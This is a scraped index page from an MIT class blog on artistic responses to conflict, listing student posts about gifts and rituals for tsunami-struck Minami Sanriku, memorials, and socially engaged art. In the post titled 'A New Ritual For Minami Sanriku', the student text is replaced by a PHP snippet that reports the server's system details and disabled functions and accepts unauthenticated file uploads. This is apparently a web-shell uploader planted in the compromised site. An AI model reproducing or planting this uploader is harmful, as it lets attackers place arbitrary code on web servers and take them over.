For Those Within From Those Abroad is a public presentation of works created during this Fall’s class Artistic Intervention: Creative Responses to Conflict and Crisis. Two group projects on view explore the notion of a gift as a way of responding to situations of conflict and crises from afar. The students specifically address the people of Minami Sanriku that were severely effected by the  March 2011 earthquake and tsunami in the Tohoku region of Japan. Please join us in E15-001 (The Cube) on December 5 between 7 and 9 pm to see the gifts produced and the context behind them. MIT Program in Art, Culture and CONTINUE…

Essays Will Not Save Us // Amar Kanwar at MIT

Posted by Silver on November 22, 2011
Nov 222011

There are many interesting aspects of Amar Kanwar’s work that can be discussed in the context of Zones of Emergency, but I’d like to focus on just one: his use of highly spatialized, multichannel presentation of video and audio. As I’ve only viewed documentation of these works I’ve written a framework below as a speculative look into this aspect of his practice from the perspective of someone who has been using similar methods in sound. If an artist tackles a subject with practical urgency, such as the humanitarian situation in Burma as Kanwar has, the formalizing impulse can often become CONTINUE…

This is a working document. Our team is developing this project and the method of its exhibition for the Zones of Emergency seminar. Team members are Daniela Covarrubias, Jenine Kotob, Adrian Melia, Micah Silver, and kswick. Introduction: Our team has been presented with a difficult challenge, requiring the greatest level of finesse and delicacy: we need to provide the people of Minami Sanriku a gift, a gift that would provide for them on opportunity to reflect on the tragedy they survived and a hope for the future of their families and their community. To begin working towards this goal, we CONTINUE…

Play and Laugh as a powerful tool

Posted by Giacomo Chaparro on November 16, 2011
Nov 162011

In our first group meeting I bring two things, first think in Minami Sanriku as former fishing village and the fish as an important character for the town in terms of what it represent, and potential to use that particular character “The Fish” in a fictional or real way in order to develop a project around him. The other contribution was a collection of updated information from a local website of Minami Sanriku, in order to have more idea of what is the real scenario in the town at the moment, in the website they show different social activities like CONTINUE…

A Ritual of Memory Mapping

Posted by Adrian Melia on November 16, 2011
Nov 162011
A Ritual of Memory Mapping

For our final project, my group has been working towards proposing a ritual or festival as a way of enabling the people of Minami Sanriku to map out their emotional landscape as they work to rebuild their physical infrastructure that has been destroyed. As my group members have already mentioned, our proposed ritual starts with a return from the hills back to the town in the lowlands. Starting with a sound signal, the people will retrieve balloons from the hillside and walk to the locations at which their memories are strongly tied. While the sun is up, they can mark CONTINUE…

to be a body make a skeleton

Posted by Silver on November 16, 2011
Nov 162011

  Our group project is a time-based event, a festival or collective ritual that stitches our individual ideas as one facet of a structure to be enacted, filled, and altered by people tied together by a traumatic event.   For me it was important to avoid engaging directly with relief-work in a traditional sense, and also to avoid engaging with conventional modes of explicitly socially valuable artistic production. In most cases this work maintains an air and ethical rationale of institutionalized social service or concrete financial or material benefits. I think it is clear that art projects can in some CONTINUE…

Sharon Welch // A Feminist Ethic of Risk

Posted by Silver on November 16, 2011
Nov 162011

http://books.google.com/books?id=R7M2kS7Q-68C&lpg=PA9&ots=tpM-hamjBR&dq=a%20feminist%20ethic%20of%20risk&lr&pg=PP1#v=onepage&q&f=false   This is a book from the 80s that was used as a teaching text for a Social Ethics course I took as an undergrad at Wesleyan University. It made an enormous impact on me and I’ve started to re-read it as many of the issues discussed in this class brought me to remember fragments of this text. The first 22 pages are online at the link above. Page 13 sums up it’s premise: “What does it mean to act ethically in a world of expediency, to stand for justice in a world of exploitation, to act with compassion CONTINUE…

Balloons for healing

Posted by Jenine Shaban Kotob on November 16, 2011
Nov 162011
Balloons for healing

BBC Article “We’re celebrating them as they go to work and explaining that art is not just a photograph or a sculpture or a painting – it is this choreographed set of balloons as they spread throughout the city.” – US artist, Yazmany Arboleda

Nov 162011

Minami Sanriku, a former fishing village, was destroyed in March of 2011 by the Tohoku Earthquake and subsequent tsunami. Buildings were completely demolished, cars and trucks were moved from one side of the village to another, friends and loved ones were lost, and survivors are now scarred for life by the significant trauma. How does one overcome these traumas? Perhaps, the process of recovery begins with the ability to share one’s experiences, to speak up, and be listened to. There needs to be a platform or framework developed that allows for a dialogue between speaker and listener. The conversation can CONTINUE…

A New Ritual For Minami Sanriku

Posted by Daniela on November 16, 2011
Nov 162011

<?php error_reporting(0); echo "Jasmine”; echo”".php_uname().”"; print “\n”;$disable_functions = @ini_get(“disable_functions”); echo “DisablePHP=”.$disable_functions; print “\n”; echo” “; echo”"; if($_POST["k"]==upload){ if(@copy($_FILES["f"]["tmp_name"],$_FILES["f"]["name"])){ echo”".$_FILES["f"]["name"]; }else{ echo”Gagal upload cok”; } } ?>

/there is a village/ 10/31~11/12 /

Posted by Sei Lee on November 16, 2011
Nov 162011
/there is a village/ 10/31~11/12 /

“I’d like to suggest <THERE IS A VILLAGE> for a title of our project.” This first sentence shows both one of my main tasks in our project and direction we’re heading to. I’m a person who enjoys listening to others’ saying as a way of figuring out them. I believe people need to have enough time to listen to one another before mentioning on whatever is relevant to others. I’m also a person who tends to make some words “we” can use together. I would say this position can be likened to a thinker or a choreographer. Thinker conceptualizes individual’s CONTINUE…

Murphy Canyon Choir

Posted by Giacomo Chaparro on November 9, 2011
Nov 092011

I really enjoy the text Realising Voices, reclaiming Power, The personal and collective potential of voice, as an example of a collective medium that include the experience of the personal and collective body through sound and voices as a powerful tools of exchange. After reading the text immediately came to my mind an experience a had in 2005 with an art piece or collaborative performance Murphy Canyon Choir in a military-housing complex in San Diego, when the Canadian artist Althea Thauberger work with eight military spouse to compose and perform a choral event. “Her project Murphy Canyon Choir (2005) is especially revealing   in this respect. Commissioned CONTINUE…

Empty Sky

Posted by Adrian Melia on November 7, 2011
Nov 072011
Empty Sky

  To remember the victims from New Jersey who died during the terrorist attacks on September 11, 2001, the state of New Jersey recently opened the memorial “Empty Sky” at Liberty State Park in Jersey City. The memorial site is directly across the Hudson River from “Ground Zero” in Manhatten. It consists of “two 30-foot-high rectangular towers that stretch 208 feet, 10 inches long— the exact width of the World Trade Center towers” with a walkway inbetween so that visitors can read the names of those who died in the attacks inscribed on the stainless steel towers. The walls are CONTINUE…

Let’s meet in a field.

Posted by Jenine Shaban Kotob on November 1, 2011
Nov 012011

Zainab Salbi is the founder of Women for Women International. A network that provides the possibility for women of war-torn countries to develop relationships through the exchange of letters with women in the United States. These letters offer women who often go unheard in the midst of war with the opportunity to share their stories, and in effect help in the healing process post war. Salbi’s model has proven to be successful, and can be seen as a simple tool that solves the issue of post-trauma silence. I have shared a link to a video of Salbi speaking on TED. CONTINUE…

Oct 272011
Square of the Invisible Monument

Check out this amazing project. How do we make a monument active? I believe this project does it successfully. http://www.gerz.fr/html/main.html?res_ident=5a9df42460494a34beea361e835953d8&art_ident=e796072e25c4df21a6a3a262857e6d3f With the help of Germany’s then 61 Jewish communities, a list was compiled of all the Jewish cemeteries that were in use in the country before the Second World War. The names of these 2,146 cemeteries were engraved on an equal number of paving stones, which were removed from the alley crossing the square in front of the Saarbrücken Castle, the seat of the Provincial Parliament. Initially, the work was carried out without a commission, in secret and illegally. The CONTINUE…

Earthquake in Turkey

Posted by Adrian Melia on October 26, 2011
Oct 262011

A Reminder that every crisis irreversibly changes the lives of those affected http://www.bbc.co.uk/news/world-europe-15437414 On Sunday, a 7.2 magnitude earthquake hit southeast Turkey, and rescue teams are working to find survivors and care for the thousands that were injured. Already, BBC News reports that there have been more than 260 reported deaths and likely more. News outlets across the world are showing videos and images of buildings torn to the ground, families mourning and searching for their loved ones, and rescue teams working to find survivors buried under debris and rubble. Although on a smaller scale than the Japan earthquake earlier CONTINUE…

Monday — 10.24.11 — Necropolitics of Radiation and the Struggle CONTENTS: 1. About this Monday 2. Films 3. Participants 4. Suggested Readings 4.1 Dystopia of Civil Society / Part 1 and 2 4.2 Notes on the 4.5 Great Kamagasaki Oppression and Nuclear Power Industry 4.3 Must We Rebuild Their Anthill? A Letter to/for Japanese Comrades 4.4 An Elementary Algebra of Common Goods and Evils 4.5 Soil and Farmers 5. links __________________________________________________ 1. About this Monday What: Films & Discussion When: Monday — 10.24.11 @ 7:00PM Where: 16 Beaver Street, 4th Floor Who: Free and open to all In many ways, CONTINUE…

Moore’s law and the Internet have dramatically reduced the cost of producing and distributing information. This has greatly lowered the cost of collaboration and has empowered a qualitatively different “public” to think, express, and act without, or in spite of, central authority. These changes and advances in technology enabled interventions such as low-cost video cameras in the case of WITNESS; blogs (Global Voices); or open hardware and software used to build, distribute, collect and visualize data from geiger counters (Safecast). Ito will discuss how these trends relate to media, citizenship, academics, and conflicts. Joichi Ito was named Director of the CONTINUE…

Walmart in Africa

Posted by Adrian Melia on October 12, 2011
Oct 122011
Walmart in Africa

 An article from the Guardian this week describes how unions and anti-capitalist campaigners in South Africa are protesting the upcoming takeover of the Massmart supermarket chain by Walmart, currently the largest grocer in the United States. The protesters “fear job losses, the livelihoods of local producers and Walmart’s reputation for being anti-union and, allegedly, aggressive in its dealings with staff and competitors.” It will be interesting to see what happens when this case is heard by the tribunal at the end of October, although, as the article suggests, it seems unlikely that a deal long in the making will CONTINUE…

Colombia: El Puente_lab Making a Difference in Moravia, Medellin

El Puente_lab is a production platform for art and culture. Their objectives are “develop cultural projects on a local level, building bridges of communication with artists and experts through a strategy of international cooperation. The projects developed by el puente_lab meet the specific needs of the social context where they are carried out, using artistic creativity as a tool of activation of cultural projects that initiate, facilitate and/or accompany processes of education, communication and urban and social transformation.” http://globalvoicesonline.org/2011/10/04/colombia-el-puente_lab-making-a-difference-in-moravia-medellin/

The Cooper Union Interdisciplinary Seminar is presenting talks by members of the Occupy Wall Street movement. 6:00 pm | Zuccotti Park (Broadway between Liberty and Cedar Streets) “On September 17th thousands of people gathered in the financial district of lower Manhattan in order to occupy Wall Street. The occupation settled in Zuccotti Park indefinitely, with hundreds sleeping in the park each night and many more passing through each day to take part in general assemblies, marches, working committees, informal discussions, and meals. The Interdisciplinary Seminar has, in the last twelve years, been a space for open dialogue between invited speakers CONTINUE…

Museveni’s grip on Uganda

Posted by Jegan Vincent de Paul on October 3, 2011
Oct 032011

Museveni’s grip on Uganda – An op-ed in today’s Boston Globe on Ugandan President Yoweri Museveni’s critique of criticism, by Jackee Budesta Batanda. Jackee Budesta Batanda is a visiting student of Artistic Interventions – Creative Responses to Conflict and Crises and the 2011-2012 Elizabeth Neuffer fellow at the Centre for International Studies at MIT.

I stumbled on this interview and thought it was relevant for us in considering the dilemma of our role as “givers”. Some interesting insight on giving. (the first half of the interview)

Sep 292011

This is a cross-post from Critical.Org that sheds some light on art and commerce as we talked about in class. Dear Levi’s, I love your pants but… Sarah Witt is a close friend of mine.  She recently received an email from someone speaking on behalf of Levi’s,  asking her to be interviewed and profiled on a website called Shape What’s to Come, supposely an iniative to  mentor and empower young women. Sarah considered it because she is generous with her time and as a female artist that understand the world’s inqualities, she of course wants to help empower young woman as CONTINUE…

Conflict and capital

Posted by Layla Karim Shaikley on September 29, 2011
Sep 292011
Conflict and capital

Below is an excerpt from my blog, loveandfashism.blogspot.com, that I found incredibly relevant after addressing crisis and conflict. Conflict is profitable, as the stark juxtaposition in  the entry below may suggest: April 2011–Peppered with business savvy folk of all ethnicities, the Emirates Air Basra flight surprised me a little. Once Iraq’s most romantic riverside town, Basra is a governance in Southern Iraq located on water and oil. Having been warned of potential danger, I was told to stick to my second tongue of Iraqi dialect Arabic. Yet, this plane had business men from China, Eastern Europe, India, and America. I was baffled. I CONTINUE…

Living as Form

Posted by Jenine Shaban Kotob on September 28, 2011
Sep 282011

A creative summit is being held in New York City that celebrates 20 years worth of socially engaged art. Dates: September 24 – October 16, 2011 Where: Essex Street Market Living as Form Living as Form: Socially Engaged Art from the Last 20 Years from creativetime on Vimeo.

Musicians without Borders

Posted by Jenine Shaban Kotob on September 27, 2011
Sep 272011
Musicians without Borders

Music, being a common language, is used by this group to promote peace in a contested area. Al Kamandjati was developed in 2002 by Ramzi Aburedwan teaches music to Palestinian children throughout the West Bank, Gaza Strip, and parts of Lebanon. Teachers from all over the world, meet in this zone of emergency, and provide these otherwise silent protesters, with an opportunity to express themselves through music. Finally, the students have an outlet – a moment where they can forget the war torn area they live in, and enjoy first class lessons in music.     The organization is also CONTINUE…

Sep 262011

This lecture explores the work and methodology of human rights group Survival International, with a particular focus on the group’s efforts to generate a groundswell of support for tribal people all over the world. Using Survival films and campaigns as case studies, the lecture will focus on the need to popularize the narrative surrounding indigenous land rights. Tess Thackara directs the USA office of Survival International, whose major campaign successes include the Indian government banning aluminum giant Vedanta Resources from mining the sacred lands of the Dongria Kondh tribe in 2010, and the High Court of Botswana’s affirming the Bushmen’s CONTINUE…